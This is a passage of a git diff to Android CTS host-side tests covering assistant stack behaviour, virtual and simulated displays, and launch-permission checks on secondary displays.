+ private static final String TRANSLUCENT_ASSISTANT_ACTIVITY = "TranslucentAssistantActivity";
private static final String LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION =
"LaunchAssistantActivityFromSession";
private static final String LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK =
@@ -39,30 +39,20 @@
private static final String EXTRA_ENTER_PIP = "enter_pip";
private static final String EXTRA_LAUNCH_NEW_TASK = "launch_new_task";
- private static final String EXTRA_ASSISTANT_DISPLAY_ID = "assistant_display_id";
private static final String EXTRA_FINISH_SELF = "finish_self";
public static final String EXTRA_IS_TRANSLUCENT = "is_translucent";
private static final String TEST_ACTIVITY_ACTION_FINISH_SELF =
"android.server.cts.TestActivity.finish_self";
- private static int mAssistantDisplayId;
-
- public void setUp() throws Exception {
- super.setUp();
- enableAssistant();
- launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK);
- mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
- ActivityManagerState.ActivityStack assistantStack
- = mAmWmState.getAmState().getStackById(ASSISTANT_STACK_ID);
- mAssistantDisplayId = assistantStack.mDisplayId;
- removeStacks(ASSISTANT_STACK_ID);
- disableAssistant();
- }
-
public void testLaunchingAssistantActivityIntoAssistantStack() throws Exception {
// Enable the assistant and launch an assistant activity
enableAssistant();
+ try {
+ Thread.sleep(500);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
@@ -75,8 +65,7 @@
}
public void testAssistantStackZOrder() throws Exception {
- if (!supportsPip() || !supportsSplitScreenMultiWindow()
- || !assistantRunsOnPrimaryDisplay()) return;
+ if (!supportsPip() || !supportsSplitScreenMultiWindow()) return;
// Launch a pinned stack task
launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
@@ -85,8 +74,8 @@
// Dock a task
launchActivity(TEST_ACTIVITY);
launchActivityInDockStack(DOCKED_ACTIVITY);
- mAmWmState.assertHasFullscreenTypeStackOnDisplay("Must contain fullscreen stack.",
- mAssistantDisplayId);
+ mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+ FULLSCREEN_WORKSPACE_STACK_ID);
mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
// Enable the assistant and launch an assistant activity, ensure it is on top
@@ -108,12 +97,12 @@
}
public void testAssistantStackLaunchNewTaskWithDockedStack() throws Exception {
- if (!supportsSplitScreenMultiWindow() || !assistantRunsOnPrimaryDisplay()) return;
+ if (!supportsSplitScreenMultiWindow()) return;
// Dock a task
launchActivity(TEST_ACTIVITY);
launchActivityInDockStack(DOCKED_ACTIVITY);
- mAmWmState.assertHasFullscreenTypeStackOnDisplay("Must contain fullscreen stack.",
- mAssistantDisplayId);
+ mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+ FULLSCREEN_WORKSPACE_STACK_ID);
mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
enableAssistant();
@@ -124,17 +113,17 @@
private void assertAssistantStackCanLaunchAndReturnFromNewTask() throws Exception {
// Enable the assistant and launch an assistant activity which will launch a new task
enableAssistant();
- launchActivityOnDisplay(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK, mAssistantDisplayId,
- EXTRA_LAUNCH_NEW_TASK, TEST_ACTIVITY,
- EXTRA_ASSISTANT_DISPLAY_ID, Integer.toString(mAssistantDisplayId));
+ launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+ EXTRA_LAUNCH_NEW_TASK, TEST_ACTIVITY);
disableAssistant();
// Ensure that the fullscreen stack is on top and the test activity is now visible
mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
mAmWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
- mAmWmState.assertActivityInFullscreenTypeStack(
- "TestActivity should go on a suitable fullscreen-type stack.",
- TEST_ACTIVITY);
+ mAmWmState.assertFrontStack("Fullscreen stack should be on top.",
+ FULLSCREEN_WORKSPACE_STACK_ID);
+ mAmWmState.assertFocusedStack("Fullscreen stack should be focused.",
+ FULLSCREEN_WORKSPACE_STACK_ID);
// Now, tell it to finish itself and ensure that the assistant stack is brought back forward
executeShellCommand("am broadcast -a " + TEST_ACTIVITY_ACTION_FINISH_SELF);
@@ -146,7 +135,7 @@
public void testAssistantStackFinishToPreviousApp() throws Exception {
// Launch an assistant activity on top of an existing fullscreen activity, and ensure that
// the fullscreen activity is still visible and on top after the assistant activity finishes
- launchActivityOnDisplay(TEST_ACTIVITY, mAssistantDisplayId);
+ launchActivity(TEST_ACTIVITY);
enableAssistant();
launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
EXTRA_FINISH_SELF, "true");
@@ -154,9 +143,10 @@
mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY, STATE_RESUMED);
mAmWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
- mAmWmState.assertActivityInFullscreenTypeStack(
- "TestActivity should go on a suitable fullscreen-type stack.",
- TEST_ACTIVITY);
+ mAmWmState.assertFrontStack("Fullscreen stack should be on top.",
+ FULLSCREEN_WORKSPACE_STACK_ID);
+ mAmWmState.assertFocusedStack("Fullscreen stack should be focused.",
+ FULLSCREEN_WORKSPACE_STACK_ID);
}
public void testDisallowEnterPiPFromAssistantStack() throws Exception {
@@ -175,30 +165,49 @@
launchHomeActivity();
launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
EXTRA_IS_TRANSLUCENT, String.valueOf(true));
- mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
+ mAmWmState.waitForValidState(mDevice, TRANSLUCENT_ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
assertAssistantStackExists();
- mAmWmState.assertHomeActivityVisible(true);
+ if (!noHomeScreen()) {
+ mAmWmState.assertHomeActivityVisible(true);
+ }
// Launch a fullscreen app and then launch the assistant and check to see that it is
// also visible
removeStacks(ASSISTANT_STACK_ID);
- launchActivityOnDisplay(TEST_ACTIVITY, mAssistantDisplayId);
+ launchActivity(TEST_ACTIVITY);
launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
EXTRA_IS_TRANSLUCENT, String.valueOf(true));
- mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
+ mAmWmState.waitForValidState(mDevice, TRANSLUCENT_ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
assertAssistantStackExists();
mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+ // Go home, launch assistant, launch app into fullscreen with activity present, and go back.
+ // Ensure home is visible.
+ removeStacks(ASSISTANT_STACK_ID);
+ launchHomeActivity();
+ launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+ EXTRA_IS_TRANSLUCENT, String.valueOf(true), EXTRA_LAUNCH_NEW_TASK,
+ TEST_ACTIVITY);
+ mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
+ mAmWmState.assertHomeActivityVisible(false);
+ pressBackButton();
+ mAmWmState.waitForFocusedStack(mDevice, ASSISTANT_STACK_ID);
+ assertAssistantStackExists();
+ if (!noHomeScreen()) {
+ mAmWmState.waitForHomeActivityVisible(mDevice);
+ mAmWmState.assertHomeActivityVisible(true);
+ }
+
// Launch a fullscreen and docked app and then launch the assistant and check to see that it
- // is also visible.
- if (supportsSplitScreenMultiWindow() && assistantRunsOnPrimaryDisplay()) {
+ // is also visible
+ if (supportsSplitScreenMultiWindow()) {
removeStacks(ASSISTANT_STACK_ID);
launchActivityInDockStack(DOCKED_ACTIVITY);
launchActivity(TEST_ACTIVITY);
mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
EXTRA_IS_TRANSLUCENT, String.valueOf(true));
- mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
+ mAmWmState.waitForValidState(mDevice, TRANSLUCENT_ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
assertAssistantStackExists();
mAmWmState.assertVisibility(DOCKED_ACTIVITY, true);
mAmWmState.assertVisibility(TEST_ACTIVITY, true);
@@ -210,7 +219,7 @@
enableAssistant();
// Launch the assistant
- launchActivityOnDisplay(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION, mAssistantDisplayId);
+ launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
assertAssistantStackExists();
mAmWmState.assertVisibility(ASSISTANT_ACTIVITY, true);
mAmWmState.assertFocusedStack("Expected assistant stack focused", ASSISTANT_STACK_ID);
@@ -220,11 +229,11 @@
// Launch a new fullscreen activity
// Using Animation Test Activity because it is opaque on all devices.
- launchActivityOnDisplay(ANIMATION_TEST_ACTIVITY, mAssistantDisplayId);
+ launchActivity(ANIMATION_TEST_ACTIVITY);
mAmWmState.assertVisibility(ASSISTANT_ACTIVITY, false);
// Launch the assistant again and ensure that it goes into the same task
- launchActivityOnDisplay(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION, mAssistantDisplayId);
+ launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
assertAssistantStackExists();
mAmWmState.assertVisibility(ASSISTANT_ACTIVITY, true);
mAmWmState.assertFocusedStack("Expected assistant stack focused", ASSISTANT_STACK_ID);
@@ -235,10 +244,24 @@
disableAssistant();
}
- // Any 2D Activity in VR mode is run on a special VR virtual display, so check if the Assistant
- // is going to run on the same display as other tasks.
- protected boolean assistantRunsOnPrimaryDisplay() {
- return mAssistantDisplayId == DEFAULT_DISPLAY_ID;
+ public void testPinnedStackWithAssistant() throws Exception {
+ if (!supportsPip() || !supportsSplitScreenMultiWindow()) return;
+
+ enableAssistant();
+
+ // Launch a fullscreen activity and a PIP activity, then launch the assistant, and ensure
+ // that the test activity is still visible
+ launchActivity(TEST_ACTIVITY);
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+ launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+ EXTRA_IS_TRANSLUCENT, String.valueOf(true));
+ mAmWmState.waitForValidState(mDevice, TRANSLUCENT_ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
+ assertAssistantStackExists();
+ mAmWmState.assertVisibility(TRANSLUCENT_ASSISTANT_ACTIVITY, true);
+ mAmWmState.assertVisibility(PIP_ACTIVITY, true);
+ mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+
+ disableAssistant();
}
/**
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayLockedKeyguardTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayLockedKeyguardTests.java
index 826aded..1e8c5a1 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayLockedKeyguardTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayLockedKeyguardTests.java
@@ -42,8 +42,7 @@
@Override
protected void tearDown() throws Exception {
try {
- removeLockCredential();
- gotoKeyguard();
+ tearDownLockCredentials();
} catch (DeviceNotAvailableException e) {
logE(e.getMessage());
}
@@ -54,7 +53,7 @@
* Test that virtual display content is hidden when device is locked.
*/
public void testVirtualDisplayHidesContentWhenLocked() throws Exception {
- if (!supportsMultiDisplay() || !supportsKeyguard()) { return; }
+ if (!supportsMultiDisplay() || !isHandheld()) { return; }
// Create new usual virtual display.
final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTestBase.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTestBase.java
index fa0320c..cc0a257 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTestBase.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTestBase.java
@@ -48,6 +48,7 @@
private static final int INVALID_DENSITY_DPI = -1;
private boolean mVirtualDisplayCreated;
+ private boolean mDisplaySimulated;
/** Temp storage used for parsing. */
final LinkedList<String> mDumpLines = new LinkedList<>();
@@ -57,6 +58,7 @@
protected void tearDown() throws Exception {
try {
destroyVirtualDisplays();
+ destroySimulatedDisplays();
} catch (DeviceNotAvailableException e) {
logE(e.getMessage());
}
@@ -193,6 +195,10 @@
return mDisplayStates.get(displayId);
}
+ int getNumberOfDisplays() {
+ return mDisplayStates.size();
+ }
+
/** Return the display state with width, height, dpi */
DisplayState getDisplayState(int width, int height, int dpi) {
for (Map.Entry<Integer, DisplayState> entry : mDisplayStates.entrySet()) {
@@ -253,7 +259,7 @@
}
/** Find the display that was not originally reported in oldDisplays and added in newDisplays */
- private List<ActivityManagerDisplayTests.DisplayState> findNewDisplayStates(
+ protected List<ActivityManagerDisplayTests.DisplayState> findNewDisplayStates(
ReportedDisplays oldDisplays, ReportedDisplays newDisplays) {
final ArrayList<DisplayState> displays = new ArrayList();
@@ -271,6 +277,9 @@
* @param densityDpi provide custom density for the display.
* @param launchInSplitScreen start {@link VirtualDisplayActivity} to side from
* {@link LaunchingActivity} on primary display.
+ * @param canShowWithInsecureKeyguard allow showing content when device is showing an insecure
+ * keyguard.
+ * @param mustBeCreated should assert if the display was or wasn't created.
* @param publicDisplay make display public.
* @param resizeDisplay should resize display when surface size changes.
* @param launchActivity should launch test activity immediately after display creation.
@@ -278,8 +287,9 @@
* @throws Exception
*/
private List<ActivityManagerDisplayTests.DisplayState> createVirtualDisplays(int densityDpi,
- boolean launchInSplitScreen, boolean publicDisplay, boolean resizeDisplay,
- String launchActivity, int displayCount) throws Exception {
+ boolean launchInSplitScreen, boolean canShowWithInsecureKeyguard, boolean mustBeCreated,
+ boolean publicDisplay, boolean resizeDisplay, String launchActivity, int displayCount)
+ throws Exception {
// Start an activity that is able to create virtual displays.
if (launchInSplitScreen) {
getLaunchActivityBuilder().setToSide(true)
@@ -290,23 +300,57 @@
mAmWmState.computeState(mDevice, new String[] {VIRTUAL_DISPLAY_ACTIVITY},
false /* compareTaskAndStackBounds */);
final ActivityManagerDisplayTests.ReportedDisplays originalDS = getDisplaysStates();
- final int originalDisplayCount = originalDS.mDisplayStates.size();
// Create virtual display with custom density dpi.
- executeShellCommand(getCreateVirtualDisplayCommand(densityDpi, publicDisplay, resizeDisplay,
- launchActivity, displayCount));
+ executeShellCommand(getCreateVirtualDisplayCommand(densityDpi, canShowWithInsecureKeyguard,
+ publicDisplay, resizeDisplay, launchActivity, displayCount));
mVirtualDisplayCreated = true;
- // Wait for the virtual display to be created and get configurations.
- final ActivityManagerDisplayTests.ReportedDisplays ds =
- getDisplayStateAfterChange(originalDisplayCount + displayCount);
- assertEquals("New virtual display must be created",
- originalDisplayCount + displayCount, ds.mDisplayStates.size());
+ return assertAndGetNewDisplays(mustBeCreated ? displayCount : -1, originalDS);
+ }
- // Find the newly added display.
+ /**
+ * Simulate new display.
+ * @param densityDpi provide custom density for the display.
+ * @return {@link ActivityManagerDisplayTests.DisplayState} of newly created display.
+ */
+ private List<ActivityManagerDisplayTests.DisplayState> simulateDisplay(int densityDpi)
+ throws Exception {
+ final ActivityManagerDisplayTests.ReportedDisplays originalDs = getDisplaysStates();
+
+ // Create virtual display with custom density dpi.
+ executeShellCommand(getSimulateDisplayCommand(densityDpi));
+ mDisplaySimulated = true;
+
+ return assertAndGetNewDisplays(1, originalDs);
+ }
+
+ /**
+ * Wait for desired number of displays to be created and get their properties.
+ * @param newDisplayCount expected display count, -1 if display should not be created.
+ * @param originalDS display states before creation of new display(s).
+ */
+ private List<ActivityManagerDisplayTests.DisplayState> assertAndGetNewDisplays(
+ int newDisplayCount, ActivityManagerDisplayTests.ReportedDisplays originalDS)
+ throws Exception {
+ final int originalDisplayCount = originalDS.mDisplayStates.size();
+
+ // Wait for the display(s) to be created and get configurations.
+ final ActivityManagerDisplayTests.ReportedDisplays ds =
+ getDisplayStateAfterChange(originalDisplayCount + newDisplayCount);
+ if (newDisplayCount != -1) {
+ assertEquals("New virtual display(s) must be created",
+ originalDisplayCount + newDisplayCount, ds.mDisplayStates.size());
+ } else {
+ assertEquals("New virtual display must not be created",
+ originalDisplayCount, ds.mDisplayStates.size());
+ return null;
+ }
+
+ // Find the newly added display(s).
final List<ActivityManagerDisplayTests.DisplayState> newDisplays
= findNewDisplayStates(originalDS, ds);
- assertTrue("New virtual display must be created", displayCount == newDisplays.size());
+ assertTrue("New virtual display must be created", newDisplayCount == newDisplays.size());
return newDisplays;
}
@@ -321,14 +365,27 @@
}
}
+ /**
+ * Destroy existing simulated display.
+ */
+ private void destroySimulatedDisplays() throws Exception {
+ if (mDisplaySimulated) {
+ executeShellCommand(getDestroySimulatedDisplayCommand());
+ mDisplaySimulated = false;
+ }
+ }
+
static class VirtualDisplayBuilder {
private final ActivityManagerDisplayTestBase mTests;
private int mDensityDpi = CUSTOM_DENSITY_DPI;
private boolean mLaunchInSplitScreen = false;
+ private boolean mCanShowWithInsecureKeyguard = false;
private boolean mPublicDisplay = false;
private boolean mResizeDisplay = true;
private String mLaunchActivity = null;
+ private boolean mSimulateDisplay = false;
+ private boolean mMustBeCreated = true;
public VirtualDisplayBuilder(ActivityManagerDisplayTestBase tests) {
mTests = tests;
@@ -344,6 +401,12 @@
return this;
}
+ public VirtualDisplayBuilder setCanShowWithInsecureKeyguard(
+ boolean canShowWithInsecureKeyguard) {
+ mCanShowWithInsecureKeyguard = canShowWithInsecureKeyguard;
+ return this;
+ }
+
public VirtualDisplayBuilder setPublicDisplay(boolean publicDisplay) {
mPublicDisplay = publicDisplay;
return this;
@@ -359,19 +422,35 @@
return this;
}
+ public VirtualDisplayBuilder setSimulateDisplay(boolean simulateDisplay) {
+ mSimulateDisplay = simulateDisplay;
+ return this;
+ }
+
+ public VirtualDisplayBuilder setMustBeCreated(boolean mustBeCreated) {
+ mMustBeCreated = mustBeCreated;
+ return this;
+ }
+
public DisplayState build() throws Exception {
final List<DisplayState> displays = build(1);
return displays != null && !displays.isEmpty() ? displays.get(0) : null;
}
public List<DisplayState> build(int count) throws Exception {
- return mTests.createVirtualDisplays(mDensityDpi, mLaunchInSplitScreen, mPublicDisplay,
- mResizeDisplay, mLaunchActivity, count);
+ if (mSimulateDisplay) {
+ return mTests.simulateDisplay(mDensityDpi);
+ }
+
+ return mTests.createVirtualDisplays(mDensityDpi, mLaunchInSplitScreen,
+ mCanShowWithInsecureKeyguard, mMustBeCreated, mPublicDisplay, mResizeDisplay,
+ mLaunchActivity, count);
}
}
- private static String getCreateVirtualDisplayCommand(int densityDpi, boolean publicDisplay,
- boolean resizeDisplay, String launchActivity, int displayCount) {
+ private static String getCreateVirtualDisplayCommand(int densityDpi,
+ boolean canShowWithInsecureKeyguard, boolean publicDisplay, boolean resizeDisplay,
+ String launchActivity, int displayCount) {
final StringBuilder commandBuilder
= new StringBuilder(getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY));
commandBuilder.append(" -f 0x20000000");
@@ -380,6 +459,8 @@
commandBuilder.append(" --ei density_dpi ").append(densityDpi);
}
commandBuilder.append(" --ei count ").append(displayCount);
+ commandBuilder.append(" --ez can_show_with_insecure_keyguard ")
+ .append(canShowWithInsecureKeyguard);
commandBuilder.append(" --ez public_display ").append(publicDisplay);
commandBuilder.append(" --ez resize_display ").append(resizeDisplay);
if (launchActivity != null) {
@@ -393,6 +474,14 @@
" --es command destroy_display";
}
+ private static String getSimulateDisplayCommand(int densityDpi) {
+ return "settings put global overlay_display_devices 1024x768/" + densityDpi;
+ }
+
+ private static String getDestroySimulatedDisplayCommand() {
+ return "settings delete global overlay_display_devices";
+ }
+
/** Wait for provided number of displays and report their configurations. */
ReportedDisplays getDisplayStateAfterChange(int expectedDisplayCount)
throws DeviceNotAvailableException {
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java
index c8e327e..32aa785 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java
@@ -16,6 +16,7 @@
package android.server.cts;
import android.platform.test.annotations.Presubmit;
+import android.server.displayservice.DisplayHelper;
import com.android.tradefed.device.CollectingOutputReceiver;
import com.android.tradefed.device.DeviceNotAvailableException;
@@ -27,7 +28,9 @@
import java.util.regex.Pattern;
import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
+import static android.server.cts.ActivityManagerState.STATE_PAUSED;
import static android.server.cts.ActivityManagerState.STATE_RESUMED;
+import static android.server.cts.ActivityManagerState.STATE_STOPPED;
import static android.server.cts.StateLogger.log;
import static android.server.cts.StateLogger.logE;
@@ -44,12 +47,17 @@
private static final String RESIZEABLE_ACTIVITY_NAME = "ResizeableActivity";
private static final String NON_RESIZEABLE_ACTIVITY_NAME = "NonResizeableActivity";
private static final String SECOND_ACTIVITY_NAME = "SecondActivity";
+ private static final String SECOND_ACTIVITY_NO_EMBEDDING_NAME = "SecondActivityNoEmbedding";
private static final String THIRD_ACTIVITY_NAME = "ThirdActivity";
private static final String VR_TEST_ACTIVITY_NAME = "VrTestActivity";
+ private static final String SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME = "ShowWhenLockedAttrActivity";
private static final String SECOND_PACKAGE_NAME = "android.server.cts.second";
private static final String THIRD_PACKAGE_NAME = "android.server.cts.third";
private static final String VR_UNIQUE_DISPLAY_ID =
"virtual:android:277f1a09-b88d-4d1e-8716-796f114d080b";
+ private static final String VR_STANDALONE_DEVICE_PROPERTY = "ro.boot.vr";
+
+ private DisplayHelper mExternalDisplayHelper;
/** Physical display metrics and overrides in the beginning of the test. */
private ReportedDisplayMetrics mInitialDisplayMetrics;
@@ -63,7 +71,7 @@
protected void setUp() throws Exception {
super.setUp();
mInitialDisplayMetrics = getDisplayMetrics();
- mVrHeadset = isUiModeLockedToVrHeadset();
+ mVrHeadset = isVrHeadset();
final DisplayState vrDisplay = getDisplaysStates().getDisplayState(VR_UNIQUE_DISPLAY_ID);
mVrVirtualDisplayId = mVrHeadset ? vrDisplay.mDisplayId : -1;
}
@@ -73,6 +81,11 @@
try {
enablePersistentVrMode(false);
restoreDisplayMetricsOverrides();
+ if (mExternalDisplayHelper != null) {
+ mExternalDisplayHelper.releaseDisplay();
+ mExternalDisplayHelper = null;
+ }
+ setPrimaryDisplayState(true);
} catch (DeviceNotAvailableException e) {
logE(e.getMessage());
}
@@ -96,6 +109,18 @@
}
}
+ private boolean isVrHeadset() {
+ try {
+ if ("1".equals(mDevice.getProperty(VR_STANDALONE_DEVICE_PROPERTY))) {
+ return true;
+ }
+
+ return false;
+ } catch (DeviceNotAvailableException e) {
+ return false;
+ }
+ }
+
private void restoreDisplayMetricsOverrides() throws Exception {
if (mInitialDisplayMetrics.sizeOverrideSet) {
executeShellCommand(WM_SIZE + " " + mInitialDisplayMetrics.overrideWidth + "x"
@@ -482,24 +507,27 @@
if (!supportsMultiDisplay()) { return; }
// Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+ .build();
// Launch activity on new secondary display.
- launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+ launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mDisplayId);
mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
- LAUNCHING_ACTIVITY);
+ BROADCAST_RECEIVER_ACTIVITY);
// Check that launching activity is on the secondary display.
int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
ActivityManagerState.ActivityStack frontStack =
mAmWmState.getAmState().getStackById(frontStackId);
assertEquals("Launched activity must be on the secondary display and resumed",
- getActivityComponentName(LAUNCHING_ACTIVITY),
+ getActivityComponentName(BROADCAST_RECEIVER_ACTIVITY),
frontStack.mResumedActivity);
mAmWmState.assertFocusedStack("Focus must be on the secondary display", frontStackId);
// Launch non-resizeable activity from secondary display.
- getLaunchActivityBuilder().setTargetActivityName(NON_RESIZEABLE_ACTIVITY_NAME).execute();
+ executeShellCommand("am broadcast -a trigger_broadcast --ez launch_activity true "
+ + "--ez new_task true --es target_activity " + NON_RESIZEABLE_ACTIVITY_NAME);
+ mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
// Check that non-resizeable activity is on the secondary display, because of the resizeable
// root of the task.
@@ -551,10 +579,10 @@
}
/**
- * Tests launching a not embedded activity on virtual display. It should land on the
- * default display.
+ * Tests launching an activity on a virtual display without special permission must not be
+ * allowed.
*/
- public void testLaunchNotEmbeddedOnVirtualDisplay() throws Exception {
+ public void testLaunchWithoutPermissionOnVirtualDisplay() throws Exception {
if (!supportsMultiDisplay()) { return; }
// Create new virtual display.
@@ -562,34 +590,17 @@
final String logSeparator = clearLogcat();
- // Launch other activity with different uid and check it is launched on primary display.
- final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
+ // Try to launch an activity and check it security exception was triggered.
+ final String broadcastTarget = "-a " + SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION"
+ + " -p " + SECOND_PACKAGE_NAME;
final String includeStoppedPackagesFlag = " -f 0x00000020";
- executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
- + " --ei target_display " + newDisplay.mDisplayId + includeStoppedPackagesFlag
+ executeShellCommand("am broadcast " + broadcastTarget
+ + " --ez launch_activity true --es target_activity " + TEST_ACTIVITY_NAME
+ " --es package_name " + componentName
- + " --es target_activity " + TEST_ACTIVITY_NAME);
+ + " --ei display_id " + newDisplay.mDisplayId
+ + includeStoppedPackagesFlag);
- int tries = 0;
- boolean match = false;
- final Pattern pattern = Pattern.compile(".*SecurityException launching activity.*");
- while (tries < 5 && !match) {
- String[] logs = getDeviceLogsForComponent("LaunchBroadcastReceiver", logSeparator);
- for (String line : logs) {
- Matcher m = pattern.matcher(line);
- if (m.matches()) {
- match = true;
- break;
- }
- }
- tries++;
- try {
- Thread.sleep(500);
- } catch (InterruptedException e) {
- }
- }
-
- assertTrue("Expected exception not found", match);
+ assertSecurityException("LaunchBroadcastReceiver", logSeparator);
mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
assertFalse("Restricted activity must not be launched",
@@ -597,6 +608,37 @@
}
/**
+ * Tests launching an activity on a virtual display without special permission must be allowed
+ * for activities with same UID.
+ */
+ public void testLaunchWithoutPermissionOnVirtualDisplayByOwner() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ // Try to launch an activity and check it security exception was triggered.
+ final String broadcastTarget = "-a " + componentName + ".LAUNCH_BROADCAST_ACTION"
+ + " -p " + componentName;
+ executeShellCommand("am broadcast " + broadcastTarget
+ + " --ez launch_activity true --es target_activity " + TEST_ACTIVITY_NAME
+ + " --es package_name " + componentName
+ + " --ei display_id " + newDisplay.mDisplayId);
+
+ mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY_NAME);
+
+ final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ final ActivityManagerState.ActivityStack focusedStack = mAmWmState.getAmState()
+ .getStackById(externalFocusedStackId);
+ assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
+ focusedStack.mDisplayId);
+
+ mAmWmState.assertFocusedActivity("Focus must be on newly launched app", TEST_ACTIVITY_NAME);
+ assertEquals("Activity launched by owner must be on external display",
+ externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+ }
+
+ /**
* Tests launching an activity on virtual display and then launching another activity via shell
* command and without specifying the display id - the second activity must appear on the
* primary display.
@@ -634,7 +676,7 @@
}
/**
- * Tests launching an activity on virtual display and then launching another activity from the
+ * Tests launching an activity on simulated display and then launching another activity from the
* first one - it must appear on the secondary display, because it was launched from there.
*/
@Presubmit
@@ -642,6 +684,37 @@
if (!supportsMultiDisplay()) { return; }
// Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+ .build();
+
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+ mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+
+ mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
+ LAUNCHING_ACTIVITY);
+
+ // Launch second activity from app on secondary display without specifying display id.
+ getLaunchActivityBuilder().setTargetActivityName(TEST_ACTIVITY_NAME).execute();
+ mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+
+ // Check that activity is launched in focused stack on external display.
+ mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
